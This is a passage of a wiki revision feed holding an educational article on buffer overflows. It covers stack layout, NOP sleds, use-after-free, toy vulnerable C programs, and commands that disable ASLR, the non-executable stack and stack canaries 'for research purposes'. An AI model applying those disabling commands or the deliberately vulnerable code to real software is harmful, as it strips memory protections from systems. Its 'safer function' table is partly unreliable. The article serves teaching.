/&gt;
&lt;br /&gt;
Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this &amp;quot;dangling pointer&amp;quot; to gain unauthorized access to the system or leak information meant to be kept confidential. &amp;lt;ref name=&amp;quot;UAF&amp;quot;&amp;gt;Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]&lt;br /&gt;
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16985</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16985"/>
		<updated>2024-12-11T16:39:51Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* The Stack and Important Control Structures */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle &amp;lt;ref name=&amp;quot;BOB&amp;quot;&amp;gt;What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a &#039;&#039;&#039;function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| scanf() || sscanf()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers ==&lt;br /&gt;
&lt;br /&gt;
Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.&lt;br /&gt;
&lt;br /&gt;
Summed up these four are the main dangers:&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds Write vulnerability will be examined. The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. &amp;lt;ref name=”AR1”&amp;gt;Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called &amp;quot;stack smashing&amp;quot;. It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.&lt;br /&gt;
&lt;br /&gt;
Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this &amp;quot;dangling pointer&amp;quot; to gain unauthorized access to the system or leak information meant to be kept confidential. &amp;lt;ref name=&amp;quot;UAF&amp;quot;&amp;gt;Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
